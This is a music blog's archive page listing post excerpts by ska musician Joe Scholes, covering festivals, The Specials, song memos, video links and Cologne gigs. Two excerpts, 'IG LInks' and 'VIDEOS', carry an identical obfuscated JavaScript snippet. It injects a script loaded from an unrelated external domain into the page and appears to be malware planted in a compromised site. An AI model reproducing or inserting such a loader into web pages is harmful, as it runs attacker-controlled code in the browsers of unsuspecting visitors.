21 Oct New To This Blog?
6 Reasons To Be Excited About The New London International Ska Festival – A Strictly Personal Selection Should All Ska Music Be Free? Two Sides Of The Same Coin Ska – Rocksteady – Early Reggae: Which Online Radio Stations have it? My First Time: What It Was Like...
21 Oct Must The Specials Record A New Album?
The party started in April 2009 – that’s when The Specials went on their 30th Anniversary Tour with sold-out shows around the UK. Gigs in Australia, Japan, the USA, Canada and festival appearances throughout Europe followed. On the way the 2Tone heroes picked up an...
21 Oct The more I think about it,
The more I think about it, the more obvious it gets: 2009 was a good year for Ska and me. Much, much better than 2008 I recall. And if the trend remains steady, 2010 will be even better. I did not buy any Ska...
21 Oct The Mobile Musical Memos Series Default
Welcome to Part 1 of the Mobile Musical Memos Series. For an introduction to the concept behind it please go here: And here are the today's 5 memos with my comments. Memo 1: "x" (working title) Why I recorded it: What I think about it now: [audio:http://www.joescholes.com/wp-content/uploads/audio/xxx/Memo.mp3] Memo 2: "x" (working...
05 Sep IG LInks
Joe Scholes "The Life I Know" (Official Video) https://www.youtube.com/watch?v=4WdrAR_GhQ8 ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);...
29 Jun VIDEOS
SongBook Vol. II The Videos to Songbook Vol. https://vimeo.com/562497748/19ef12f22b https://youtu.be/cTh0MyZkqGk https://vimeo.com/319566067/6634ed5d5d https://youtu.be/oMQxkjPn8xs Home version of "Seven", taken from the album "Songbook Vol. II" by Joe Scholes ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);...
28 Oct Next Show
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05 Apr Clive Chin meets The Clerks And Joe Scholes in Cologne
Heute, Freitag, 5.4. 2013, im Zimmermann's: Clive Chin (Randy's 17North Parade, Jamaica) meets The Clerks playing Old School Ska. Support: Joe Scholes (acoustic). Möglicherweise einmalig: "Freedom Sounds" von Joe Scholes & The Clerks - live gespielt....
14 Mar New Song “Freedom Sounds” – Not A Skatalites Cover
This Saturday the Freedom Sounds Festival is held in Cologne, Germany. I'm not only playing there, but also involved in organizing it. Like many more people. The excitement around the festival lead to a joint venture between me and a great band from Cologne called...